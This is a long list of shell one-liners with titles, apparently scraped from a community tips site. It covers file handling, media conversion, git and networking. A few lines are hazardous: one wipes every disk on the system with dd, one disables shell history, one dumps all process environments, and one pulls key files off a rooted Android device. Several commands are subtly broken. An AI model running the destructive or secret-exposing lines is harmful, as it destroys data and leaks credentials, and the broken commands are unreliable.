uptime | awk -F ',' ' {print $1} ' | awk ' {print $3} ' | awk -F ':' ' {hrs=$1; min=$2; print hrs*60 + min} '
List NYC startups that are hiring
curl -s -L http://nytm.org/made-in-nyc | grep "(hiring)" | sed -re 's/<([^>]+)>//g;s/^([ \t]*)//g'
Retry the previous command until it exits successfully
until !!; do done
Bitcoin prices from the command line
curl btc.cm/last
Convert control codes to visible Unicode Control Pictures
/bin/echo -e '\002Hello, Folks\t!\r' | perl -pwle 'use v5.14; s/([\N{U+0000}-\N{U+0020}])/chr(9216+ord($1))/ge;'
AWK command to extract log files between dates
awk \ '$0 ~ /^[0-9]{4}-[0-9]{2}-[0-9]{2} [0-2][0-9]:[0-5][0-9]:[0-5][0-9]/ { if ($1" "$2 >= "2015-04-27 23:00:00") p=1; if ($1" "$2 >= "2015-04-28 05:30:00") p=0; } p { print $0 }' debug.log >>abhishek.txt
Download all files from podcast RSS feed
curl http://url/rss | grep -o '<enclosure url="[^"]*' | grep -o '[^"]*$' | xargs wget -c
Recursive replace of directory and file names in the current directory.
find . *oldname* | grep oldname | perl -p -e 's/^(.*)(oldname)(.*$)/mv $1$2$3 $1newname$3/' | sh
Take a file as input (two columns data format) and sum values on the 2nd column for all lines that have the same value in 1st column
awk '{a[$1] += $2} END { for (i in a) {print i " " a[i]}}' /path/to/file
Check whether laptop is running on battery or cable
acpi -a
delete PBS jobs based on strings from qstat output
qstat | awk '$6 ~ "STRING" {cmd="qdel " $1; system(cmd); close(cmd)}'
apt-get upgrade with bandwidth limit
trickle sudo apt-get update -y
find files ignoring .svn and its decendents
find . -type f ! -iwholename \*.svn\* -print0 [ | xargs -0 ]
Unlock your KDE4 session remotely (for boxes locked by KDE lock utility)
qdbus | grep kscreenlocker_greet | xargs -I {} qdbus {} /MainApplication quit
Find class in jar
find . -name '*.jar' | xargs -l jar vtf | grep XXX.java
Vectorize xkcd strips
f=correlation.png; s=400; t=50; a=1.2; convert $f -resize ${s}% -threshold ${t}% bmp:- | potrace -o ${f%.*}.svg -b svg -z black --fillcolor "#FFFFFF" --alphamax ${a}
Count Files in a Directory with Wildcards.
COUNTER=0; for i in foo*.jpg ; do COUNTER=$[COUNTER + 1]; done; echo "$COUNTER"
Display / view the contents of the manifest within a Java jar file
$ unzip -p some-jar-file.jar META-INF/MANIFEST.MF
Function to split a string into an array
Split() { eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }
See all the commits for which searchstring appear in the git diff
git log -p -z | perl -ln0e 'print if /[+-].*searchedstring/'
tar+pbzip2 a dir
tar -c directory_to_compress/ | pbzip2 -vc > myfile.tar.bz2
Check if the Debian package was used since its installation/upgrade.
package=$1; list=/var/lib/dpkg/info/${package}.list; inst=$(stat "$list" -c %X); cat $list | (while read file; do if [ -f "$file" ];then acc=$(stat "$file" -c %X); if [ $inst -lt $acc ]; then echo used $file; exit 0; fi; fi; done; exit 1)
find files ignoring .svn and its decendents
find . -type d -name .svn -prune -o -type f -print0 | xargs -r0 ...
Count git commits since specific commit
git log --pretty=oneline b56b83.. | wc -l
Change mysql prompt to be more verbose
export MYSQL_PS1="mysql://\u@\h:/\d - \R:\m:\s > "
Replace strings in text
sed -e 's/dapper/edgy/g' -i /etc/apt/sources.list
GZip all files in a directory separately
for file in *.foo; do gzip "$file"; done
convert wmv into xvid avi format
mencoder -ovc xvid -oac mp3lame -srate 44100 -af lavcresample=44100 -xvidencopts fixed_quant=4 Foo.wmv -o Bar.avi
Trim png files in a folder
mogrify -trim *png
Use curl with a local SOCKS5 proxy (e.g. Tor)
turl(){ curl --socks5-hostname localhost:9050 $@ ; }
list services running (as root)
service --status-all | grep running
Have netcat listening on your ports and use telnet to test connection
SERVER: nc -l p 666 CLIENT: telnet -l -p 666
GZip all files in a directory separately
ls | xargs -n1 gzip
DVD-Rip
mplayer dvd://1 -dumpstream -alang es -dumpfile "$dirDestino"/"$tituloDVD".mpg && ffmpeg -i "$dirDestino/$tituloDVD.mpg" -acodec libmp3lame -alang spa -vcodec libx264 -crf 26 -vpre hq -threads 0 "$dirDestino/$tituloDVD.mp4"
Download an Entire website with wget
wget -m -k -K -E http://url/of/web/site
Play radio stream with mplayer
mplayer -nolirc http://5253.live.streamtheworld.com/VIRGINRADIO_DUBAIAAC
Execute matlab sentences from command line
echo 'magic(3)' | matlab -nodisplay
Gets directory and files tree listing from a FTP-server
lftp -u<<credentials>> <<server>> -e "du -a;exit" > server-listing.txt
Retrieve "last modified" timestamp of web resource in UTC seconds
curl --silent --head "${url}" | grep 'Last-Modified:' | cut -c 16- | date -f - +'%s'
search installed files of package, that doesn't remember his name well. On rpm systems
rpm -qa | grep PACKAGENAME | xargs rpm -q --filesbypkg
add a backup (or any other) suffix to a file
mv -vi file{,~}
get detailed info about a lan card on HP-UX 11.31
nwmgr -q info -c lan0
Check the package is installed or not. There will show the package name which is installed.
dpkg -l | cut -d' ' -f 3 | grep ^python$
Virtualbox: setup hardware
VBoxManage modifyvm "vm-name" --memory 256 --acpi on --ioapic off --pae on --hwvirtex on --nestedpaging on
List the Sizes of Folders and Directories
du -hs /path/to/folder/*
Destroy all disks on system simultaneously
for i in `sudo /sbin/fdisk -l |grep Disk |grep dev |awk '{ print $2 }' |sed s/://g` ; do sudo /usr/bin/dd if=/dev/urandom of=$i bs=8M & done
Git fetch all remote branches
git branch -r | awk -F'/' '{print "git fetch "$1,$2}' | xargs -I {} sh -c {}
Read random news on the internet
links `lynx -dump -listonly "http://news.google.com" | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | grep -v "google.com" | sort -R | uniq | head -n1`
Extract the emoticons regex from a running skype process
S=`pidof skype`;grep heap /proc/$S/maps|cut -f1 -d' '|awk -F- '{print "0x" $1 " 0x" $2}'|xargs echo "du me t ">l;gdb -batch -p $S -x l>/dev/null 2>&1;strings t|grep \(smirk|head -n1
View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/6002 3900 8900 &>/dev/null &); sleep 10; mplayer http://localhost:8900/tv.asf
Number of CPU's in a system
grep -c ^processor /proc/cpuinfo
Prepend a text to a file.
echo "text to prepend" | cat - file
Copy a folder with progress with pv
SRC="/source/folder"; TRG="/target/folder/"; tar cf - "$SRC" | pv -s $(du -sb "$SRC" | cut -f1) | tar xf - -C "$TRG"
Ring the system bell after finishing a long script/compile
myLongScript && echo -e '\a' || (echo -e '\a'; sleep 1; echo -e '\a')
Compress a file or directory keeping the owner and permissions
tar -jcvf /folder/file.tar.bz2 --same-owner --same-permissions /folder/
Using scapy to get the IP of the iface used to contact local gw (i.e. supposed host IP)
python -c "import scapy.all; print [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]"
Execute a command before display the bash prompt
PROMPT_COMMAND=command
Get listening ports on a localhost
ss -ln | awk '$3~/([0-9]+)/{print $3}' | sed 's/.*\:\([0-9]\+\)$/\1/'
Add the time to BASH prompt
export PS1="(\@) $PS1"
get useful statistics from tcpdump (sort by ip)
tcpdump -nr capture.file | awk '{print }' | grep -oE '[0-9]{1,}.[0-9]{1,}.[0-9]{1,}.[0-9]{1,}' | sort | uniq -c | sort -n
print a file on a single line
echo $(cat file)
how to allow a program to listen through the firewall
netsh firewall add programmaautorizzato C:\nltest.exe mltest enable
use xxd to create the wake on lan magicpacket and write to pcap file
macdst="5873b856445f";macsrc="d2a791e1715a";pkt="d4c3b2a1020004000000000000000000ffff000001000000e3eab353fa1f 0b007400000074000000$macdst $macsrc 0842ffffffffffff";for i in {1..16}; do pkt="$pkt $macdst"; done; echo "$pkt" | xxd -r -p > magicpacket.pcap
output absolute path of the present working directory
/bin/pwd -P
Generate a list of items from a couple of items lists A and B, getting (B - A ) set
grep -vxFf ItemsListtoAvoid.txt AllItemsList.txt > ItemsDifference.txt
Recursive replace of directory and file names in the current directory.
for i in `find -name '*oldname*'`; do "mv $i ${i/oldname/newname/}"; done
Cleanup firefox's database.
find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;
colored tail
tail -f FILE | grep --color=always KEYWORD
List users with running processes
ps aux | sed -n '/USER/!s/\([^ ]\) .*/\1/p' | sort -u
Print process run time, average CPU usage, and maximum memory usage on exit
/usr/bin/time -f "\ntime\t%E\nCPU\t%P\nRAM\t%Mk" <command>
find directory with most inodes/files
find / -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n | tail
List open sockets protocol/address/port/state/PID/program name
sudo netstat -punta
Pipe a textfile to vim and move the cursor to a certain line
zcat /usr/share/doc/vim-common/README.gz | vim -g +23 -
View All Processess Cmdlines and Environments
cd /proc&&ps a -opid=|xargs -I+ sh -c '[[ $PPID -ne + ]]&&echo -e "\n[+]"&&tr -s "\000" " "<+/cmdline&&echo&&tr -s "\000\033" "\nE"<+/environ|sort'
List all files in current dir and subdirs sorted by size
tree -ifs --noreport .|sort -n -k2
list offsets from HEAD with git log.
o=0; git log --oneline | while read l; do printf "%+9s %s\n" "HEAD~${o}" "$l"; o=$(($o+1)); done | less
bulk rename files with sed, one-liner
for i in *; do mv $i $(echo $i | sed 's/foo/bar/'); done
Use vi commands to edit your command lines
set -o vi; ls -l jnuk<ESC>bCjunk
Create a directory and go inside it
mkdir dir; cd $_
Rotate a pdf by 90 degrees CW
pdftk input.pdf cat 1-endE output output.pdf
subtraction between lines
seq 1 3 20 | awk '{ T[NR]=$1} END {for (i=1;i<=(NR-1);i++) print T[i+1],"-",T[i],"=" , T[i+1]-T[i]}'
Create new user with home dir and given password
useradd -m -p $(perl -e'print crypt("passwordscelta", "stigghiola")') user
Print one . instead of each line
alias ...='while read line; do echo -n "."; done && echo ""'
Alias for quick command-line volume set (works also remotely via SSH)
alias setvol='aumix -v'
Get the SUM of visual blocked digits in vim
vmap <c-a> y:$<CR>o<Esc>map<Esc>:'a,$!awk '{sum+=$0}END{print "SUM:" sum}'<CR>dd'>p
Sort a character string
echo sortmeplease | grep -o . | sort | tr -d '\n'; echo
How to check network connection from one interface
ping -I eth0 www.yahoo.com
export iPad App list to txt file
ls "~/Music/iTunes/iTunes Media/Mobile Applications" > filepath
View any archive
als some.jar
psgrepp
ps aux | grep $(echo $1 | sed "s/^\(.\)/[\1]/g")
Export OPML from Google Reader
export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; }
Adding specific CustomLog for each Virtual Domain of Apache
for arquivo in `ls -1` ; do sed -i '/ErrorLog/a\ \ \ \ \ \ \ \ CustomLog \/var\/log\/apache2\/access_'"$file"'_log combined' /root/site-bak/${file} ; done
Cut/Copy brackets or parentheses on vim (in normal mode)
d + %
Create a tar archive using xz compression
tar -cvf - /path/to/tar/up | xz - > myTarArchive.tar.xz
Show contents of all git objects in a git repo
find .git/objects/ -type f \| sed 's/\.git\/objects\/\///' | sed 's/\///g' | xargs -n1 -I% echo echo "%" \$\(git cat-file -p "%"\) \0 | xargs -n1 -0 sh -c
BourneShell: Go to previous directory
cd -
Best option set for 7zip compression of database dumps or generic text files
7zr a -mx=9 -ms=on -mhc=on -mtc=off db_backup.sql.7z db_dump.sql
Show word-by-word differences between two latex files, in color
dwdiff -c a.tex b.tex | less -R
Get memory total from /proc/meminfo in Gigs
free -g
Encode a string using ROT47
echo "your string here" | tr '\!-~' 'P-~\!-O'
Email a file to yourself
echo "This is the message body" | mutt -s "Message subject" -a file_to_attach.zip fred@example.com
Filter the output of a file continously using tail and grep
tail -f path | grep your-search-filter
Show directories
ls -l | grep ^d
Copy all files. All normal files, all hidden files and all files starting with - (minus).
cp ./* .[!.]* ..?* /path/to/dir
count how many cat processes are running
ps -a | grep -c cat
First file editor for newbies
cat > file.txt << EOF
Apply fade effect to a audio
sox input.mp3 output.mp3 fade h 5 00:02:58 5
Show crontabs for all users
for i in /var/spool/cron/tabs/*; do echo ${i##*/}; sed 's/^/\t/' $i; echo; done
grab all of google IPv4 network blocks
host -t TXT _netblocks.google.com 8.8.8.8
find distro name / release version
$ cat /etc/*-release
Combine two mp3's or more into 1 long mp3
cat 1.mp3 2.mp3 > combined.mp3
Be notified about overheating of your CPU and/or motherboard
sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees"
list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//'
Last month
LASTMONTH=`date -d "last month" +%B`
Tell what is encoded in a float, given its HEX bytes
dc -e"16i?dsH0sq2d17^ss8^dse2/1-stdlsle*/2*2B+an[[ FP Indef.]n]sQ[dls2//2%_2*53+an[NaN]ndle4*1-ls2/*=Q2Q]sN[1sqdls%0<N[oo]n]sMdls/le%dsdle1-=M[[]pq]sPlq1=P[r+0]s0ldd1r0=0lHls%rls*+sS2r^Alt4*^*lS*2lt^/ls/dsSZlt4*-1-sFlsZ1+klSdArZ1-^/dn0=P[e]nlFp"
Print the IPv4 address of a given interface
ip a s eth0 | sed -nr 's!.*inet ([^/]+)/.*!\1!p'
Count items in JSON array
echo '[1,2,3]' | jq '. | length'
Split huge file into DVD+R size chunks for burning
split -b 4700000000 file.img.gz file.img.gz.
Sort lines on clipboard
xclip -o -selection clipboard | sort | xclip -i -selection clipboard
List every docker's name, IP and port mapping
docker inspect --format "{{ .Name }} !!! Example "{{ .NetworkSettings.IPAddress }} !!! Example "{{ .NetworkSettings.Ports }}" $(docker ps -q) | tr -s '#' '\t'
My random music player
find /home/user/M?sica/ -type f -name "*.mp3" | shuf --head-count=20 --output=/home/user/playlist.m3u ; sort -R /home/user/playlist.m3u | mplayer -playlist -
ram usage most top 10 process
ps aux | awk '{print $2, $4, $11}' | sort -k2rn | head -n 10
Benchmark SQL Query
perf stat -r 10 sh -c "mysql > /dev/null < query.sql"
Perform a C-style loop in Bash.
for (( i = 0; i < 100; i++ )); do echo "$i"; done
Easy to extend one-liner for cron scripts that automate filesystem checking
( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /bin/mount $TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB"
Send remote command output to your local clipboard
command | ssh myHost xsel -i --display :0
Perl Command Line Interpreter
perl -dwe 1
One line Perl Script to determine the largest file sizes on a Linux Server
du -k | sort -n | perl -ne 'if ( /^(\d+)\s+(.*$)/){$l=log($1+.1);$m=int($l/log(1024)); printf ("%6.1f\t%s\t%25s %s\n",($1/(2**(10*$m))),(("K","M","G","T","P")[$m]),"*"x (1.5*$l),$2);}' | more
Using parcellite, indents the content of the clipboard manager
parcellite -c | sed 's/^/ /' | parcellite
Read Python logs with tracebacks in color
pygmentize -l pytb myapp.log | less -SR
find which lines in a file are longer than N characters
while read i; do [ ${#i} -gt 72 ] && echo "$i"; done < /path/to/file
Delete specific sender in mailq
postqueue -p | tail -n +2 | awk 'BEGIN { RS = "" } / user@example\.com/ { print $1 }' | tr -d '*!' | postsuper -d -
get a rough estimate about how much disk space is used by all the currently installed debian packages
echo $[ ($(dpkg-query -s $(dpkg --get-selections | grep -oP '^.*(?=\binstall)') | grep -oP '(?<=Installed-Size: )\d+' | tr '\n' '+' | sed 's/+$//')) / 1024 ]
Batch-Convert text file containing youtube links to mp3
cat playlist.txt | while read line; do youtube-dl --extract-audio --audio-format mp3 -o "%(title)s.%(ext)s" ytsearch:"$line" ;done
Find your graphics chipset
lspci |grep VGA
gpg decrypt several files
gpg --allow-multiple-messages --decrypt-files *
Remote mysql dump all databases with ssh
mysqldump -u user -p --all-databases | ssh user@host dd of=/opt/all-databases.dump
Delete specific remote 'origin' branch 'gh-pages'
git push origin :gh-pages
Compose 2 images to 1
composite -geometry 96x96+250+70 foreground.jpg background.jpg image.jpg
Cut/Copy everything arround brackets or parentheses on vim (in normal mode)
d%
Convert all files *.mp4 to *.mpeg using ffmpeg (Windows Cmd line)
FOR %I IN (*.mp4) DO \Tools\ffmpeg\bin\ffmpeg.exe -i "%I" "%~nI.mpeg"
Alias for lazy tmux create/reattach
tmux new-session -A
.inputrc keybinding to wrap current line in inotifytools for instant compile/test-as-you-save-loop
echo '"\e\C-i": "\C-awhile true; do ( \C-e ); inotifywait -q -e modify -e close_write *; done\e51\C-b"' >>~/.inputrc
Compress files in a directory
tar -zcvf archive-name.tar.gz directory-name
List empty any directories
ls -ld **/*(/^F)
Merge PDFs with Ghostscript wrapped in a function
mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" }
Get all URLs from webpage via Regular Expression
lynx --dump "http://www.google.com.br" | egrep -o "http:.*"
Convert Youtube videos to MP3
url="put_url_here";audio=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$audio.mp3"
Resume a partially copied file
rsync -a --append source-file destination
Show available conversions
recode -l |less
disable history for current shell session
HISTFILE=/dev/null
The wisdom of Cave Johnson
curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f 2- | fmt -w $(tput cols)
Perl oneliner to print access rights in octal format
perl -e 'printf "%04o\n", (stat shift)[2] & 0777;' file
video volume boost
ffmpeg -i input.ogv -vol $((256*4)) -vcodec copy output.ogv
Watch a dig in progress
watch -n1 dig google.com
Slugify: converts strings in any language into Slugs (friendly names to use in URLs and filenames)
function slugify() { tr '[:upper:]' '[:lower:]' <<< "$(sed -z -r -e 's~[^[:alnum:]]+~ ~g' -e 's~^ *~~;s~ *$~~' -e 's~ +~-~g' - <<< "$(iconv -c -t ASCII//TRANSLIT//IGNORE - <<< "$@" )")"; }
converts a directory full of source tarballs into a bzr repository so you can compare different versions easily
bzr init .;for file in `ls *.bz2`; do bzr import $file; bzr ci -m $file; done
Get a metascore from metacritic.com
metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*<!-- metascore --><div id="metascore" class=".*">([^<]*)</div>|\1|p'; }
Just convert your all books DJVU format to PDF, with one line
for i in *.djvu; do djvu2pdf $i && echo "Finished -> $i"; done;
Btrfs: Find file names with checksum errors
dmesg | grep -Po 'csum failed ino\S* \d+' | awk '{print $4}' | sort -u | xargs -n 1 find / -inum 2> /dev/null
Equivalent to ifconfig -a in HPUX
for i in `lanscan -i | awk '{print $1}'` ; do ifconfig $i ; done 2> /dev/null
download the contents of a remote folder in the current local folder
wget -r -l1 -np -nd http://yoururl.com/yourfolder/
Use md5sum to check your music and movie files. Also use diff.
find . -type f -exec md5sum {}\; > <filename>
Continue a current job in the background
%1 &!
Watch and cat the last file to enter a directory
watch "cat `ls -rcA1 | tail -n1`"
debian/ubuntu get installed nvidia driver version from terminal
dpkg --status nvidia-current | grep Version | cut -f 1 -d '-' | sed 's/[^.,0-9]//g'
To find the LDAP clients connected to LDAP service running on Solaris
netstat -n -f inet|awk '/\.389/{print $2}'|cut -f1-4 -d.|sort -u
Use tcpdump to monitor all DNS queries and responses
sudo tcpdump -i en0 'udp port 53'
Output Windows services in a neatly formated list (cygwin)
sc query state= all | awk '/SERVICE_NAME/{printf"%s:",$2;getline;gsub(/DISP.*:\ /,"");printf"%s\n",$0}' | column -ts\:
Adding Color Escape Codes to global CC array for use by echo -e
declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
dump the whole database
mysqldump -u UNAME -p DBNAME > FILENAME
Greets the user appropriately
echo "12 morning\n15 afternoon\n24 evening" |while read t g; do if [ `date +%H` -lt $t ]; then echo "Good $g"; break; fi; done
ssh X tunneling over multiple ssh hosts (through ssh proxy)
ssh -t -X -A user@sshproxy ssh -X -A user@sshhost
recursively change file name from uppercase to lowercase (or viceversa)
find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \;
Count lines of source code excluding blank lines and comments
sloccount <directory>
return a titlecased version of the string[str.title() in python]
title() { sed 's/\<\w*/\u&/g' <<<$@; }
Get a docker container's run command line
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock assaflavie/runlike [ID_CONTAINER]
This allows you to find a string on a set of files recursivly
grep -rF --include='*.txt' stringYouLookFor *
display emerge.log date in a human friendly way
tail /var/log/emerge.log | awk -F: '{print strftime("%Y%m%d %X %Z", $1),$2}'
print a python-script (or any other code) with syntax-highlighting and no loss of indentation
a2ps -R --columns=1 -M A4 myprog.py -o - |lpr
Count all the files in the directory and child directories
ls -d */* | wc -l
View internet connection activity in a browser
lsof -nPi | txt2html > ~/lsof.html | gnome-open lsof.html
Create iso image of cd/dvd
dd if=/dev/cdrom of=~/cdimage.iso
list any Linux files without users or groups
sudo find / \( -nouser -o -nogroup \)
Quickly create an alias for changing into the current directory
function map() { [ -n "$1" ] && alias $1="cd `pwd`" || alias | grep "'cd "; }
Remove Suspend option from XFCE logoff dialog
xfconf-query -c xfce4-session -np '/shutdown/ShowSuspend' -t 'bool' -s 'false'
List status of your git repos and let us know if there is any new files to commit.
gitdir="/var/git";find $gitdir -name ".git" 2> /dev/null | sed 's/\/.git/\//g' | awk '{print "\033[1;32m\nRepo ----> \033[0m " $1; system("git --git-dir="$1".git --work-tree="$1" status")}'
get a list of top 1000 sites from alexa
curl -qsSl http://s3.amazonaws.com/alexa-static/top-1m.csv.zip 2>/dev/null | zcat | grep ".de$" | head -1000 | awk -F, '{print $2}'
Encode text in Base64 using Perl
perl -e 'use MIME::Base64; print encode_base64("encode me plz");'
geoip information
geoiplookup www.commandlinefu.com
Bulk renames with find, sed and a little escaping
find . -exec bash -c "mv '{}' '\`echo {} |sed -e 's/foo/bar/g'\`"' \;
Batch Convert SVG to PNG
for i in *.svg; do convert "$i" "${i%.svg}.png"; done
Change host name
sed -i 's/oldname/newname/' /etc/hosts /etc/hostname
Infinite loop ssh
while true; do ssh login@10.0.0.1; if [[ $? -ne 0 ]]; then echo "Nope, keep trying!"; fi; sleep 10; done
find out zombie process
ps aux | awk '{ print $8 " " $2 " " $11}' | grep -w Z
Clean the /boot directory
rpm -q kernel-2* | grep -v $(uname -r) | xargs yum erase -y
Send a local file via email
echo "see attached file" | mail -a filename -s "subject" email@address
dump the whole database
mysqldump --lock-tables --opt DBNAME -u UNAME --password=PASS | gzip > OUTFILE
CLI Visual Apache Web Log Analyzer
goaccess -f /var/log/apache2/access.log -s -b
Are the two lines anagrams?
(echo foobar; echo farboo) | perl -E 'say[sort<>=~/./g]~~[sort<>=~/./g]?"anagram":"not anagram"'
Summarize the number of open TCP connections by state
netstat -nt | awk '{print $6}' | sort | uniq -c | sort -n -k 1 -r
Create tar over SSH
tar cvzf - /folder/ | ssh root@192.168.0.1 "dd of=/dest/folder/file.tar.gz"
ls -qahlSr !!! Example "list all files in size order - largest last
ls -qahlSr !!! Example "list all files in size order - largest last
Clear terminal Screen
clear
ps grep with header
psg () { ps auxwww | egrep "$1|PID" | grep -v grep }
Display formatted routes
routel
validate xml in a shell script using xmllint
xmllint --noout some.xml 2>&1 >/dev/null || exit 1
Url Encode
uri_escape(){ echo -E "$@" | sed 's/\\/\\\\/g;s/./&\n/g' | while read -r i; do echo $i | grep -q '[a-zA-Z0-9/.:?&=]' && echo -n "$i" || printf %%%x \'"$i" done }
Count the frequency of every word for a given file
cat YOUR_FILE|tr -d '[:punct:]'|tr '[:upper:]' '[:lower:]'|tr -s ' ' '\n'|sort|uniq -c|sort -rn
Generate a 18 character password, print the password and sha512 salted hash
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 18 | head -1 | python -c "import sys,crypt; stdin=sys.stdin.readline().rstrip('\n'); print stdin;print crypt.crypt(stdin)"
most used unix commands
awk '{print $1}' ~/.bash_history | sort | uniq -c | sort -rn | head -n 10
find with high precission (nanoseconds 1/1,000,000,000s) the last changed file.
find . -type f -print0 | xargs -0 stat -c '%y %n' | sort -n -k 1,1 | awk 'END{print $NF}'
The Chromium OS rootfs is mounted read-only. In developer mode you can disable the rootfs verification, enabling it to be modified.
for x in 2 4; do /usr/share/vboot/bin/make_dev_ssd.sh --remove_rootfs_verification --partitions $x; done
Infinite loop ssh
until ssh login@10.0.0.1; do echo "Nope, keep trying!"; fi; sleep 10; done
Update Ogg Vorbis file comments
for f in *.ogg; do vorbiscomment -l "$f" | sed 's/peter gabriel/Peter Gabriel/' | vorbiscomment -w "$f"; done
Access partitions inside a LVM volume
kpartx -a /dev/mapper/space-foobar
split a file by a specific number of lines
csplit -k my_file 500 {*}
Clean all .pyc files from current project. It cleans all the files recursively.
find . -type f -name "*.pyc" -delete;
Download all images from a 4chan thread
curl -s $1 | grep -o -i '<a href="//images.4chan.org/[^>]*>' | sed -r 's%.*"//([^"]*)".*%\1%' | xargs wget
tmux start new session with title and execute command
tmux new-session -d -s "SessionName" "htop"
Less a grep result, going directly to the first match in the first file
argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
Copy files to a remote host with SFTP with a leading dot, then rename them to the real file name
sftp-cp() { for each in "$@"; do echo "put \"$each\" \".$each\""; echo "rename \".$each\" \"$each\""; done };
Update twitter with curl
tweet(){ update=$(echo $*); [ ${#update} -lt 141 ] && curl -su user:pass -d source=curl -d status="$update" http://twitter.com/statuses/update.xml ->/dev/null || echo $(( ${#update} - 140 )) too many characters >&2; }
Make a server's console beep when the network is down
while :; do ping -W1 -c1 -n 8.8.8.8 > /dev/null || tput bel > /dev/console; sleep 1; done
rsync Command that limits bandwidth
rsync -arvx --numeric-ids --stats --progress --bwlimit=1000 file server:destination_directory
Bash alias to output the current Swatch Internet Time
alias beats='echo '\''@'\''$(TZ=GMT-1 date +'\''(%-S + %-M * 60 + %-H * 3600) / 86.4'\''|bc)'
Fire CMD every time FILE (or directory) is updated (on *BSD)
f="FILE";c="CMD";s="stat -f %m $f";t=`$s`;while [ 1 ];do if [ $t -eq `$s` ];then sleep 1;else echo `$c`;t=`$s`;fi;done
Show battery infomations for OS X 10.5.x
system_profiler SPPowerDataType | egrep -e "Connected|Charge remaining|Full charge capacity|Condition" | sed -e 's/^[ \t]*//'
add an mp3 audio track to a video
mencoder -idx Your_Input_Video_File -ovc lavc -oac mp3lame -audiofile Your_Audio_track.mp3 -o Output_File.avi
Turn shell tracing and verbosity (set -xv) on/off with 1 command!
function setx(){ sed '/[xv]/!Q2' <<< $- && { set +xv; export PS4=">>> "; } || { export PS4="`tput setaf 3`>>> `tput sgr0`"; set -xv; }; }
List Threads by Pid along with Thread Start Time
ps -o pid,lwp,lstart --pid 797 -L
set your screensaver as your desktop background MAC OSX
/System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background &
Mark packages installed with build-dep for autoremove (on Debian/Ubuntu)
sudo aptitude markauto $(apt-cache showsrc PACKAGE | grep Build-Depends | perl -p -e 's/(?:[\[(].+?[\])]|Build-Depends:|,|\|)//g')
Download all .key files from your android device to your pc.
for i in `adb shell "su -c find /data /system -name '*.key'"`; do mkdir -p ".`dirname $i`";adb shell "su -c cat $i" > ".$i";done
Shows a specific process memory usage
mem() { ps -C "$1" -O rss | awk '{ count ++; sum += $2 }; END {count --; print "Number of processes:\t",count; print "Mem. usage per process:\t",sum/1024/count, "MB"; print "Total memory usage:\t", sum/1024, "MB" ;};'; }
Find out when your billion-second anniversary is (was).
date -d12/31/1970+1000000000sec
convert video format to youtube flv format
ffmpeg -i Your_video_file -s 320x240 FILE.flv
Remove all but One
rm-but() { ls -Q | grep -v "$1" | xargs rm -r ; }
Watch RX/TX rate of an interface in kb/s
while cat /proc/net/dev; do sleep 1; done | awk '/eth0/ {o1=n1; o2=n2; n1=$2; n2=$10; printf "in: %9.2f\t\tout: %9.2f\r", (n1-o1)/1024, (n2-o2)/1024}'
Check if a machine is online with better UI
echo -n "IP Address or Machine Name: "; read IP; ping -c 1 -q $IP >/dev/null 2>&1 && echo -e "\e[00;32mOnline\e[00m" || echo -e "\e[00;31mOffline\e[00m"
awk change field separator
awk '$1=$1' FS=" " OFS=":" file
Recall “N”th command from your BASH history without executing it.
!12:p
grep for minus (-) sign
grep -- -
Get My Public IP Address
curl -s http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
Grab mp3 files from your favorite netcasts, mp3blog, or sites that often have good mp3s
wget -r -l1 -H -t1 -nd -N -np -A.mp3 -erobots=off -i ~/sourceurls.txt
calulate established tcp connection of local machine
netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
Log colorizer for OSX (ccze alternative)
tail -f /var/log/system.log | colorizer
Perl one-liner to determine number of days since the Unix epoch
perl -e 'printf qq{%d\n}, time/86400;'
Commands on svn stat
svn stat | grep M | cut -d " " -f8 | xargs svn revert
List all available python modules
python -c "help('modules')"
List of computers not logged into in more than four weeks
dsquery computer -name COMPUTERNAME -inactive 4
apt-get via sudo
apt-get () { [ "$1" = source ] && (command apt-get "$@";true) || sudo apt-get "$@" }
Send test prints to networked printer.
echo "test" | lp -d $PRINTER
View an info page on a nice interface
yelp info:foo
List all installed Debian packages
dpkg --get-selections | grep -v deinstall | cut -f 1
get the ascii number with bash builtin printf
printf "%d\n" "'A" "'B"
move all files older than 60 days to a folder
find ./* -mtime +60 -exec mv {} storeFolder \;
shutdown pc in 4 hours without needing to keep terminal open / user logged in.
shutdown 60*4 & disown
Backup all MySQL Databases to individual files
mysql -e 'show databases' -s --skip-column-names | egrep -v "^(test|mysql|performance_schema|information_schema)$" | parallel --gnu "mysqldump --routines {} > {}_daily.sql"
Convert diff output to HTML ins/del
